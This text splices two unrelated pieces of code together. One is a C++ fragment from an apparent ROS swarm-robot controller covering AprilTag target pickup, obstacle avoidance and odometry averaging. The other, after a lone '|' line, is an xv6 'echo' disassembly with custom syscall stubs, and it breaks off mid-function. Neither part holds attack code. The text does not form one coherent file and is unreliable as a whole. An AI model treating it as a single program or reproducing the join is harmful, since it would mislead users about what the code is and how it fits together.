// }
// if(insert_idx >= 0) {
// while(name < memberNames[insert_idx]) {
// memberNames[insert_idx + 1] = memberNames[insert_idx];
// insert_idx--;
// }
// }
// insert_idx += 1;
// if(name == publishedName) {
// self_idx = insert_idx;
// }
// std_msgs::String msg;
// char num_buf[3] = { '\0' };
// sprintf(&num_buf[0], "%d", self_idx);
// msg.data = publishedName + "'s index: " + string(num_buf);
// debugPublish.publish(msg);
// memberNames[insert_idx] = name;
// if(swarmSize < maxSwarmSize) {
// swarmSize++;
// } else {
// nameSubscriber.shutdown(); //it'd be a waste of resources to keep this subscribed
// }
//}
void targetHandler(const apriltags_ros::AprilTagDetectionArray::ConstPtr& message) {
// If in manual mode do not try to automatically pick up the target
if (currentMode == 1 || currentMode == 0) return;
if (stateMachineState == STATE_MACHINE_CALIBRATION)
{
double sumX = 0.0, sumY = 0.0;
int count = 0;
for (int i = 0; i < message->detections.size(); i++)
{
if (message->detections[i].id == 256) {
// checks if tag is on the right or left side of the image
count++;
sumX += message->detections[i].pose.pose.position.x;
sumY += message->detections[i].pose.pose.position.y;
}
}
if(count > 0)
{
caliData newData;
newData.posTheta = currentLocation.theta;
newData.posX = currentLocation.x;
newData.posY = currentLocation.y;
newData.count = count;
newData.avgX = sumX/count;
newData.avgY = sumY/count;
caliVector.insert(caliVector.begin(),newData);
}
//currentHomeTags = count;
//updateTagVector = true;
}
// if a target is detected and we are looking for center tags
if (message->detections.size() > 0 && !reachedCollectionPoint) {
float cameraOffsetCorrection = 0.020; //meters;
centerSeen = false;
double count = 0;
double countRight = 0;
double countLeft = 0;
// this loop is to get the number of center tags
for (int i = 0; i < message->detections.size(); i++) {
if (message->detections[i].id == 256) {
geometry_msgs::PoseStamped cenPose = message->detections[i].pose;
// checks if tag is on the right or left side of the image
if (cenPose.pose.position.x + cameraOffsetCorrection > 0) {
countRight++;
} else {
countLeft++;
}
centerLocationOdom = currentLocation;
centerLocationOdom.x = currentLocation.x + 0.5*cos(currentLocation.theta);
centerLocationOdom.y = currentLocation.y + 0.5*sin(currentLocation.theta);
centerSeen = true;
count++;
}
}
if (centerSeen && targetCollected) {
// stateMachineState = 911; //STATE_MACHINE_PICKUP_TARGET; // This used to be STATE_MACHINE_TRANSFORM
// goalLocation = currentLocation;
}
dropOffController.setDataTargets(count,countLeft,countRight);
// // if we see the center and we dont have a target collected
// if (centerSeen && !targetCollected)
// {
// float centeringTurn = 0.15; //radians
// targetDetected = false;
// pickUpController.reset();
// return;
// }
// if we see the center and we dont have a target collected
if (centerSeen && !targetCollected) {
float centeringTurn = 0.15; //radians
// stateMachineState = STATE_MACHINE_TRANSFORM;
// this code keeps the robot from driving over
// the center when searching for blocks
if (right) {
// turn away from the center to the left if just driving
// around/searching.
goalLocation.theta += centeringTurn;
} else {
// turn away from the center to the right if just driving
// around/searching.
goalLocation.theta -= centeringTurn;
}
// continues an interrupted search
goalLocation.x = currentLocation.x + cos(goalLocation.theta);
goalLocation.y = currentLocation.y + sin(goalLocation.theta);
targetDetected = false;
pickUpController.reset();
return;
}
}
// end found target and looking for center tags
// found a target april tag and looking for april cubes;
// with safety timer at greater than 5 seconds.
PickUpResult result;
if (sqrt(vectorToCenter.x*vectorToCenter.x + vectorToCenter.y*vectorToCenter.y)>HOME_RADIUS*1.0) // Don't try to pick up a target already near home base. 1.5 is arbitrary to give some buffer around home for GPS errors.
{
if (message->detections.size() > 0 && !targetCollected && timerTimeElapsed > 5) {
targetDetected = true;
//add position to stack
//searchController.waypointSearchFound(currentLocation, goalLocation, publishedName);
// pickup state so target handler can take over driving.
// stateMachineState = STATE_MACHINE_PICKUP_TARGET;
targetEncountered = true;
result = pickUpController.selectTarget(message);
std_msgs::Float32 angle;
if (result.fingerAngle != -1) {
angle.data = result.fingerAngle;
fingerAnglePublish.publish(angle);
}
if (result.wristAngle != -1) {
angle.data = result.wristAngle;
wristAnglePublish.publish(angle);
}
}
}
}
void modeHandler(const std_msgs::UInt8::ConstPtr& message) {
currentMode = message->data;
sendDriveCommand(0.0, 0.0);
}
void obstacleHandler(const std_msgs::UInt8::ConstPtr& message) {
const double PI_OVER_4 = 0.78539816339;
if ((!targetDetected || targetCollected) && (message->data > 0)) {
consecutiveObstacleDetections++;
// timeSinceLastObstacle = 0;
timeOfLastObstacle = time(0);
// std_msgs::String obstacleHandlerMsg;
// std::ostringstream ssOH;
// ssOH<< "consecutiveDetections: "<<consecutiveObstacleDetections<<", "<<"timeOfLastObstacle"<<", "<<timeOfLastObstacle;
// obstacleHandlerMsg.data = ssOH.str();
// obstacleHandlerPublish.publish(obstacleHandlerMsg);
// obstacle on right side
if(sqrt(vectorToCenter.x*vectorToCenter.x + vectorToCenter.y*vectorToCenter.y)<1.5*HOME_RADIUS) // We are too close to the home circle.
{
double newTheta = atan2(currentLocation.y, currentLocation.x); // Find the nearest direction out of the circle.
alternativeLocation.x = 1.5*HOME_RADIUS*cos(newTheta); // We just want to get out of the home circle so get out of there.
alternativeLocation.y = 1.5*HOME_RADIUS*sin(newTheta);
if (currentMode == 2 || currentMode == 3) //robot is in automode
{
sendDriveCommand(-0.3, 0.0); // Just back up.
}
}
else
{
bool invalidWaypoint = true;
int retryCounter = 0;
while(invalidWaypoint)
{
double distanceToMove = rng->uniformReal(0, 1);
if (message->data == 1) {
// select new heading 0.2 radians to the left
//goalLocation.theta = currentLocation.theta + 0.6;
alternativeLocation.x = currentLocation.x + distanceToMove*cos(currentLocation.theta + PI_OVER_4+retryCounter*0.0872665);//hardcoded angle of pi/2 & length of 2, tunable
alternativeLocation.y = currentLocation.y + distanceToMove*sin(currentLocation.theta + PI_OVER_4+retryCounter*0.0872665);//hardcoded angle of pi/2 & length of 2, tunable
alternativeLocation.theta = currentLocation.theta + PI_OVER_4+retryCounter*0.0872665;
}
// obstacle in front or on left side
else if (message->data == 2) {
// select new heading 0.2 radians to the right
//goalLocation.theta = currentLocation.theta + 0.6;
alternativeLocation.x = currentLocation.x + distanceToMove*cos(currentLocation.theta - PI_OVER_4-retryCounter*0.0872665);
alternativeLocation.y = currentLocation.y + distanceToMove*sin(currentLocation.theta - PI_OVER_4-retryCounter*0.0872665);
alternativeLocation.theta = currentLocation.theta - PI_OVER_4-retryCounter*0.0872665;
}
if(!searchController.waypointIntersectsHome(vectorToCenter, alternativeLocation) || (retryCounter > 10) )
{
invalidWaypoint = false;
}
retryCounter++;
}
}
}
// the front ultrasond is blocked very closely. 0.14m currently
if (message->data == 4) {
blockBlock = true;
} else {
blockBlock = false;
}
}
void odometryHandler(const nav_msgs::Odometry::ConstPtr& message) {
//Get theta rotation by converting quaternion orientation to pitch/roll/yaw
tf::Quaternion q(message->pose.pose.orientation.x, message->pose.pose.orientation.y, message->pose.pose.orientation.z, message->pose.pose.orientation.w);
tf::Matrix3x3 m(q);
double roll, pitch, yaw;
m.getRPY(roll, pitch, yaw);
}
void mapHandler(const nav_msgs::Odometry::ConstPtr& message) {
//Get (x,y) location directly from pose
currentLocationMap.x = message->pose.pose.position.x;
currentLocationMap.y = message->pose.pose.position.y;
float alpha = 0.4;
currentLocationMovingAvg.x = alpha * currentLocationMap.x + (1-alpha) * currentLocationMovingAvgOld.x;
currentLocationMovingAvg.y = alpha * currentLocationMap.y + (1-alpha) * currentLocationMovingAvgOld.y;
currentLocationMovingAvgOld.x = currentLocationMovingAvg.x;
currentLocationMovingAvgOld.y = currentLocationMovingAvg.y;
// The code below is for test only.
//Get (x,y) location directly from pose
currentLocation.x = currentLocationMovingAvg.x; //message->pose.pose.position.x;
currentLocation.y = currentLocationMovingAvg.y; //message->pose.pose.position.y;
// if(publishedName == "ajax")
// {
// currentLocation.x = currentLocationMovingAvg.x + 1.25;
// currentLocation.y = currentLocationMovingAvg.y + 0;
// }
// else if(publishedName == "achilles")
// {
// currentLocation.x = currentLocationMovingAvg.x - 1.25;
// currentLocation.y = currentLocationMovingAvg.y + 0;
// }
// else if(publishedName == "aeneas")
// {
// currentLocation.x = currentLocationMovingAvg.x + 0;
// currentLocation.y = currentLocationMovingAvg.y - 1.25;
// }
// if(self_idx == 2)
// {
// currentLocation.x = currentLocationMovingAvg.x + 1.25;
// currentLocation.y = currentLocationMovingAvg.y + 0;
// }
// else if(self_idx == 0)
// {
// currentLocation.x = currentLocationMovingAvg.x - 1.25;
// currentLocation.y = currentLocationMovingAvg.y + 0;
// }
// else if(self_idx == 1)
// {
// currentLocation.x = currentLocationMovingAvg.x + 0;
// currentLocation.y = currentLocationMovingAvg.y - 1.25;
// }
// The code above is for test only.
//Get theta rotation by converting quaternion orientation to pitch/roll/yaw
tf::Quaternion q(message->pose.pose.orientation.x, message->pose.pose.orientation.y, message->pose.pose.orientation.z, message->pose.pose.orientation.w);
tf::Matrix3x3 m(q);
double roll, pitch, yaw;
m.getRPY(roll, pitch, yaw);
currentLocationMap.theta = yaw;
currentLocation.theta = yaw;
// std_msgs::String currentLocationMsg;
// std::ostringstream ssCL;
// ssCL<< "currentLocation: "<<currentLocation.x<<", "<<currentLocation.y<<", "<<currentLocation.theta;
// currentLocationMsg.data = ssCL.str();
// currentLocationPublish.publish(currentLocationMsg);
}
void joyCmdHandler(const sensor_msgs::Joy::ConstPtr& message) {
if (currentMode == 0 || currentMode == 1) {
sendDriveCommand(abs(message->axes[4]) >= 0.1 ? message->axes[4] : 0, abs(message->axes[3]) >= 0.1 ? message->axes[3] : 0);
}
}
void publishStatusTimerEventHandler(const ros::TimerEvent&) {
std_msgs::String msg;
msg.data = "CSUCI";
status_publisher.publish(msg);
}
void targetDetectedReset(const ros::TimerEvent& event) {
targetDetected = false;
std_msgs::Float32 angle;
angle.data = 0;
// close fingers
fingerAnglePublish.publish(angle);
// raise wrist
wristAnglePublish.publish(angle);
}
void sigintEventHandler(int sig) {
// All the default sigint handler does is call shutdown()
ros::shutdown();
}
void mapAverage() {
// store currentLocation in the averaging array
mapLocation[mapCount] = currentLocationMap;
mapCount++;
if (mapCount >= mapHistorySize) {
mapCount = 0;
}
double x = 0;
double y = 0;
double theta = 0;
// add up all the positions in the array
for (int i = 0; i < mapHistorySize; i++) {
x += mapLocation[i].x;
y += mapLocation[i].y;
theta += mapLocation[i].theta;
}
// find the average
x = x/mapHistorySize;
y = y/mapHistorySize;
// Get theta rotation by converting quaternion orientation to pitch/roll/yaw
//theta = theta/100; // You can't average angles. Example Avg(1,359)=180.
theta = mapLocation[mapHistorySize-1].theta; // I decided to take the most recent heading instead.
currentLocationAverage.x = x;
currentLocationAverage.y = y;
currentLocationAverage.theta = theta;
// only run below code if a centerLocation has been set by initilization
if (init) {
// map frame
geometry_msgs::PoseStamped mapPose;
// setup msg to represent the center location in map frame
mapPose.header.stamp = ros::Time::now();
mapPose.header.frame_id = publishedName + "/map";
mapPose.pose.orientation = tf::createQuaternionMsgFromRollPitchYaw(0, 0, centerLocationMap.theta);
mapPose.pose.position.x = centerLocationMap.x;
mapPose.pose.position.y = centerLocationMap.y;
geometry_msgs::PoseStamped odomPose;
string x = "";
try { //attempt to get the transform of the center point in map frame to odom frame.
tfListener->waitForTransform(publishedName + "/map", publishedName + "/odom", ros::Time::now(), ros::Duration(1.0));
tfListener->transformPose(publishedName + "/odom", mapPose, odomPose);
}
catch(tf::TransformException& ex) {
ROS_INFO("Received an exception trying to transform a point from \"map\" to \"odom\": %s", ex.what());
x = "Exception thrown " + (string)ex.what();
std_msgs::String msg;
stringstream ss;
ss << "Exception in mapAverage() " + (string)ex.what();
msg.data = ss.str();
infoLogPublisher.publish(msg);
}
// Use the position and orientation provided by the ros transform.
centerLocation.x = odomPose.pose.position.x; //set centerLocation in odom frame
centerLocation.y = odomPose.pose.position.y;
}
}
void publishHeartBeatTimerEventHandler(const ros::TimerEvent&) {
std_msgs::String msg;
msg.data = "";
heartbeatPublisher.publish(msg);
}
|
_echo: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 sub $0x20,%esp
int i;
for(i = 1; i < argc; i++)
9: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp)
10: 00
11: eb 4b jmp 5e <main+0x5e>
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
13: 8b 44 24 1c mov 0x1c(%esp),%eax
17: 83 c0 01 add $0x1,%eax
1a: 3b 45 08 cmp 0x8(%ebp),%eax
1d: 7d 07 jge 26 <main+0x26>
1f: b8 60 08 00 00 mov $0x860,%eax
24: eb 05 jmp 2b <main+0x2b>
26: b8 62 08 00 00 mov $0x862,%eax
2b: 8b 54 24 1c mov 0x1c(%esp),%edx
2f: 8d 0c 95 00 00 00 00 lea 0x0(,%edx,4),%ecx
36: 8b 55 0c mov 0xc(%ebp),%edx
39: 01 ca add %ecx,%edx
3b: 8b 12 mov (%edx),%edx
3d: 89 44 24 0c mov %eax,0xc(%esp)
41: 89 54 24 08 mov %edx,0x8(%esp)
45: c7 44 24 04 64 08 00 movl $0x864,0x4(%esp)
4c: 00
4d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
54: e8 3b 04 00 00 call 494 <printf>
int
main(int argc, char *argv[])
{
int i;
for(i = 1; i < argc; i++)
59: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
5e: 8b 44 24 1c mov 0x1c(%esp),%eax
62: 3b 45 08 cmp 0x8(%ebp),%eax
65: 7c ac jl 13 <main+0x13>
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
exit();
67: e8 68 02 00 00 call 2d4 <exit>
0000006c <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
6c: 55 push %ebp
6d: 89 e5 mov %esp,%ebp
6f: 57 push %edi
70: 53 push %ebx
asm volatile("cld; rep stosb" :
71: 8b 4d 08 mov 0x8(%ebp),%ecx
74: 8b 55 10 mov 0x10(%ebp),%edx
77: 8b 45 0c mov 0xc(%ebp),%eax
7a: 89 cb mov %ecx,%ebx
7c: 89 df mov %ebx,%edi
7e: 89 d1 mov %edx,%ecx
80: fc cld
81: f3 aa rep stos %al,%es:(%edi)
83: 89 ca mov %ecx,%edx
85: 89 fb mov %edi,%ebx
87: 89 5d 08 mov %ebx,0x8(%ebp)
8a: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
8d: 5b pop %ebx
8e: 5f pop %edi
8f: 5d pop %ebp
90: c3 ret
00000091 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
91: 55 push %ebp
92: 89 e5 mov %esp,%ebp
94: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
97: 8b 45 08 mov 0x8(%ebp),%eax
9a: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
9d: 90 nop
9e: 8b 45 08 mov 0x8(%ebp),%eax
a1: 8d 50 01 lea 0x1(%eax),%edx
a4: 89 55 08 mov %edx,0x8(%ebp)
a7: 8b 55 0c mov 0xc(%ebp),%edx
aa: 8d 4a 01 lea 0x1(%edx),%ecx
ad: 89 4d 0c mov %ecx,0xc(%ebp)
b0: 0f b6 12 movzbl (%edx),%edx
b3: 88 10 mov %dl,(%eax)
b5: 0f b6 00 movzbl (%eax),%eax
b8: 84 c0 test %al,%al
ba: 75 e2 jne 9e <strcpy+0xd>
;
return os;
bc: 8b 45 fc mov -0x4(%ebp),%eax
}
bf: c9 leave
c0: c3 ret
000000c1 <strcmp>:
int
strcmp(const char *p, const char *q)
{
c1: 55 push %ebp
c2: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
c4: eb 08 jmp ce <strcmp+0xd>
p++, q++;
c6: 83 45 08 01 addl $0x1,0x8(%ebp)
ca: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
ce: 8b 45 08 mov 0x8(%ebp),%eax
d1: 0f b6 00 movzbl (%eax),%eax
d4: 84 c0 test %al,%al
d6: 74 10 je e8 <strcmp+0x27>
d8: 8b 45 08 mov 0x8(%ebp),%eax
db: 0f b6 10 movzbl (%eax),%edx
de: 8b 45 0c mov 0xc(%ebp),%eax
e1: 0f b6 00 movzbl (%eax),%eax
e4: 38 c2 cmp %al,%dl
e6: 74 de je c6 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
e8: 8b 45 08 mov 0x8(%ebp),%eax
eb: 0f b6 00 movzbl (%eax),%eax
ee: 0f b6 d0 movzbl %al,%edx
f1: 8b 45 0c mov 0xc(%ebp),%eax
f4: 0f b6 00 movzbl (%eax),%eax
f7: 0f b6 c0 movzbl %al,%eax
fa: 29 c2 sub %eax,%edx
fc: 89 d0 mov %edx,%eax
}
fe: 5d pop %ebp
ff: c3 ret
00000100 <strlen>:
uint
strlen(char *s)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
106: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
10d: eb 04 jmp 113 <strlen+0x13>
10f: 83 45 fc 01 addl $0x1,-0x4(%ebp)
113: 8b 55 fc mov -0x4(%ebp),%edx
116: 8b 45 08 mov 0x8(%ebp),%eax
119: 01 d0 add %edx,%eax
11b: 0f b6 00 movzbl (%eax),%eax
11e: 84 c0 test %al,%al
120: 75 ed jne 10f <strlen+0xf>
;
return n;
122: 8b 45 fc mov -0x4(%ebp),%eax
}
125: c9 leave
126: c3 ret
00000127 <memset>:
void*
memset(void *dst, int c, uint n)
{
127: 55 push %ebp
128: 89 e5 mov %esp,%ebp
12a: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
12d: 8b 45 10 mov 0x10(%ebp),%eax
130: 89 44 24 08 mov %eax,0x8(%esp)
134: 8b 45 0c mov 0xc(%ebp),%eax
137: 89 44 24 04 mov %eax,0x4(%esp)
13b: 8b 45 08 mov 0x8(%ebp),%eax
13e: 89 04 24 mov %eax,(%esp)
141: e8 26 ff ff ff call 6c <stosb>
return dst;
146: 8b 45 08 mov 0x8(%ebp),%eax
}
149: c9 leave
14a: c3 ret
0000014b <strchr>:
char*
strchr(const char *s, char c)
{
14b: 55 push %ebp
14c: 89 e5 mov %esp,%ebp
14e: 83 ec 04 sub $0x4,%esp
151: 8b 45 0c mov 0xc(%ebp),%eax
154: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
157: eb 14 jmp 16d <strchr+0x22>
if(*s == c)
159: 8b 45 08 mov 0x8(%ebp),%eax
15c: 0f b6 00 movzbl (%eax),%eax
15f: 3a 45 fc cmp -0x4(%ebp),%al
162: 75 05 jne 169 <strchr+0x1e>
return (char*)s;
164: 8b 45 08 mov 0x8(%ebp),%eax
167: eb 13 jmp 17c <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
169: 83 45 08 01 addl $0x1,0x8(%ebp)
16d: 8b 45 08 mov 0x8(%ebp),%eax
170: 0f b6 00 movzbl (%eax),%eax
173: 84 c0 test %al,%al
175: 75 e2 jne 159 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
177: b8 00 00 00 00 mov $0x0,%eax
}
17c: c9 leave
17d: c3 ret
0000017e <gets>:
char*
gets(char *buf, int max)
{
17e: 55 push %ebp
17f: 89 e5 mov %esp,%ebp
181: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
184: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
18b: eb 4c jmp 1d9 <gets+0x5b>
cc = read(0, &c, 1);
18d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
194: 00
195: 8d 45 ef lea -0x11(%ebp),%eax
198: 89 44 24 04 mov %eax,0x4(%esp)
19c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1a3: e8 44 01 00 00 call 2ec <read>
1a8: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1ab: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1af: 7f 02 jg 1b3 <gets+0x35>
break;
1b1: eb 31 jmp 1e4 <gets+0x66>
buf[i++] = c;
1b3: 8b 45 f4 mov -0xc(%ebp),%eax
1b6: 8d 50 01 lea 0x1(%eax),%edx
1b9: 89 55 f4 mov %edx,-0xc(%ebp)
1bc: 89 c2 mov %eax,%edx
1be: 8b 45 08 mov 0x8(%ebp),%eax
1c1: 01 c2 add %eax,%edx
1c3: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1c7: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1c9: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1cd: 3c 0a cmp $0xa,%al
1cf: 74 13 je 1e4 <gets+0x66>
1d1: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d5: 3c 0d cmp $0xd,%al
1d7: 74 0b je 1e4 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1d9: 8b 45 f4 mov -0xc(%ebp),%eax
1dc: 83 c0 01 add $0x1,%eax
1df: 3b 45 0c cmp 0xc(%ebp),%eax
1e2: 7c a9 jl 18d <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1e4: 8b 55 f4 mov -0xc(%ebp),%edx
1e7: 8b 45 08 mov 0x8(%ebp),%eax
1ea: 01 d0 add %edx,%eax
1ec: c6 00 00 movb $0x0,(%eax)
return buf;
1ef: 8b 45 08 mov 0x8(%ebp),%eax
}
1f2: c9 leave
1f3: c3 ret
000001f4 <stat>:
int
stat(char *n, struct stat *st)
{
1f4: 55 push %ebp
1f5: 89 e5 mov %esp,%ebp
1f7: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1fa: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
201: 00
202: 8b 45 08 mov 0x8(%ebp),%eax
205: 89 04 24 mov %eax,(%esp)
208: e8 07 01 00 00 call 314 <open>
20d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
210: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
214: 79 07 jns 21d <stat+0x29>
return -1;
216: b8 ff ff ff ff mov $0xffffffff,%eax
21b: eb 23 jmp 240 <stat+0x4c>
r = fstat(fd, st);
21d: 8b 45 0c mov 0xc(%ebp),%eax
220: 89 44 24 04 mov %eax,0x4(%esp)
224: 8b 45 f4 mov -0xc(%ebp),%eax
227: 89 04 24 mov %eax,(%esp)
22a: e8 fd 00 00 00 call 32c <fstat>
22f: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
232: 8b 45 f4 mov -0xc(%ebp),%eax
235: 89 04 24 mov %eax,(%esp)
238: e8 bf 00 00 00 call 2fc <close>
return r;
23d: 8b 45 f0 mov -0x10(%ebp),%eax
}
240: c9 leave
241: c3 ret
00000242 <atoi>:
int
atoi(const char *s)
{
242: 55 push %ebp
243: 89 e5 mov %esp,%ebp
245: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
248: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
24f: eb 25 jmp 276 <atoi+0x34>
n = n*10 + *s++ - '0';
251: 8b 55 fc mov -0x4(%ebp),%edx
254: 89 d0 mov %edx,%eax
256: c1 e0 02 shl $0x2,%eax
259: 01 d0 add %edx,%eax
25b: 01 c0 add %eax,%eax
25d: 89 c1 mov %eax,%ecx
25f: 8b 45 08 mov 0x8(%ebp),%eax
262: 8d 50 01 lea 0x1(%eax),%edx
265: 89 55 08 mov %edx,0x8(%ebp)
268: 0f b6 00 movzbl (%eax),%eax
26b: 0f be c0 movsbl %al,%eax
26e: 01 c8 add %ecx,%eax
270: 83 e8 30 sub $0x30,%eax
273: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
276: 8b 45 08 mov 0x8(%ebp),%eax
279: 0f b6 00 movzbl (%eax),%eax
27c: 3c 2f cmp $0x2f,%al
27e: 7e 0a jle 28a <atoi+0x48>
280: 8b 45 08 mov 0x8(%ebp),%eax
283: 0f b6 00 movzbl (%eax),%eax
286: 3c 39 cmp $0x39,%al
288: 7e c7 jle 251 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
28a: 8b 45 fc mov -0x4(%ebp),%eax
}
28d: c9 leave
28e: c3 ret
0000028f <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
28f: 55 push %ebp
290: 89 e5 mov %esp,%ebp
292: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
295: 8b 45 08 mov 0x8(%ebp),%eax
298: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
29b: 8b 45 0c mov 0xc(%ebp),%eax
29e: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
2a1: eb 17 jmp 2ba <memmove+0x2b>
*dst++ = *src++;
2a3: 8b 45 fc mov -0x4(%ebp),%eax
2a6: 8d 50 01 lea 0x1(%eax),%edx
2a9: 89 55 fc mov %edx,-0x4(%ebp)
2ac: 8b 55 f8 mov -0x8(%ebp),%edx
2af: 8d 4a 01 lea 0x1(%edx),%ecx
2b2: 89 4d f8 mov %ecx,-0x8(%ebp)
2b5: 0f b6 12 movzbl (%edx),%edx
2b8: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2ba: 8b 45 10 mov 0x10(%ebp),%eax
2bd: 8d 50 ff lea -0x1(%eax),%edx
2c0: 89 55 10 mov %edx,0x10(%ebp)
2c3: 85 c0 test %eax,%eax
2c5: 7f dc jg 2a3 <memmove+0x14>
*dst++ = *src++;
return vdst;
2c7: 8b 45 08 mov 0x8(%ebp),%eax
}
2ca: c9 leave
2cb: c3 ret
000002cc <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2cc: b8 01 00 00 00 mov $0x1,%eax
2d1: cd 40 int $0x40
2d3: c3 ret
000002d4 <exit>:
SYSCALL(exit)
2d4: b8 02 00 00 00 mov $0x2,%eax
2d9: cd 40 int $0x40
2db: c3 ret
000002dc <wait>:
SYSCALL(wait)
2dc: b8 03 00 00 00 mov $0x3,%eax
2e1: cd 40 int $0x40
2e3: c3 ret
000002e4 <pipe>:
SYSCALL(pipe)
2e4: b8 04 00 00 00 mov $0x4,%eax
2e9: cd 40 int $0x40
2eb: c3 ret
000002ec <read>:
SYSCALL(read)
2ec: b8 05 00 00 00 mov $0x5,%eax
2f1: cd 40 int $0x40
2f3: c3 ret
000002f4 <write>:
SYSCALL(write)
2f4: b8 10 00 00 00 mov $0x10,%eax
2f9: cd 40 int $0x40
2fb: c3 ret
000002fc <close>:
SYSCALL(close)
2fc: b8 15 00 00 00 mov $0x15,%eax
301: cd 40 int $0x40
303: c3 ret
00000304 <kill>:
SYSCALL(kill)
304: b8 06 00 00 00 mov $0x6,%eax
309: cd 40 int $0x40
30b: c3 ret
0000030c <exec>:
SYSCALL(exec)
30c: b8 07 00 00 00 mov $0x7,%eax
311: cd 40 int $0x40
313: c3 ret
00000314 <open>:
SYSCALL(open)
314: b8 0f 00 00 00 mov $0xf,%eax
319: cd 40 int $0x40
31b: c3 ret
0000031c <mknod>:
SYSCALL(mknod)
31c: b8 11 00 00 00 mov $0x11,%eax
321: cd 40 int $0x40
323: c3 ret
00000324 <unlink>:
SYSCALL(unlink)
324: b8 12 00 00 00 mov $0x12,%eax
329: cd 40 int $0x40
32b: c3 ret
0000032c <fstat>:
SYSCALL(fstat)
32c: b8 08 00 00 00 mov $0x8,%eax
331: cd 40 int $0x40
333: c3 ret
00000334 <link>:
SYSCALL(link)
334: b8 13 00 00 00 mov $0x13,%eax
339: cd 40 int $0x40
33b: c3 ret
0000033c <mkdir>:
SYSCALL(mkdir)
33c: b8 14 00 00 00 mov $0x14,%eax
341: cd 40 int $0x40
343: c3 ret
00000344 <chdir>:
SYSCALL(chdir)
344: b8 09 00 00 00 mov $0x9,%eax
349: cd 40 int $0x40
34b: c3 ret
0000034c <dup>:
SYSCALL(dup)
34c: b8 0a 00 00 00 mov $0xa,%eax
351: cd 40 int $0x40
353: c3 ret
00000354 <getpid>:
SYSCALL(getpid)
354: b8 0b 00 00 00 mov $0xb,%eax
359: cd 40 int $0x40
35b: c3 ret
0000035c <sbrk>:
SYSCALL(sbrk)
35c: b8 0c 00 00 00 mov $0xc,%eax
361: cd 40 int $0x40
363: c3 ret
00000364 <sleep>:
SYSCALL(sleep)
364: b8 0d 00 00 00 mov $0xd,%eax
369: cd 40 int $0x40
36b: c3 ret
0000036c <uptime>:
SYSCALL(uptime)
36c: b8 0e 00 00 00 mov $0xe,%eax
371: cd 40 int $0x40
373: c3 ret
00000374 <startBurst>:
SYSCALL(startBurst)
374: b8 16 00 00 00 mov $0x16,%eax
379: cd 40 int $0x40
37b: c3 ret
0000037c <endBurst>:
SYSCALL(endBurst)
37c: b8 17 00 00 00 mov $0x17,%eax
381: cd 40 int $0x40
383: c3 ret
00000384 <print_bursts>:
SYSCALL(print_bursts)
384: b8 18 00 00 00 mov $0x18,%eax
389: cd 40 int $0x40
38b: c3 ret
0000038c <thread_create>:
SYSCALL(thread_create)
38c: b8 19 00 00 00 mov $0x19,%eax
391: cd 40 int $0x40
393: c3 ret
00000394 <thread_join>:
SYSCALL(thread_join)
394: b8 1a 00 00 00 mov $0x1a,%eax
399: cd 40 int $0x40
39b: c3 ret
0000039c <mtx_create>:
SYSCALL(mtx_create)
39c: b8 1b 00 00 00 mov $0x1b,%eax
3a1: cd 40 int $0x40
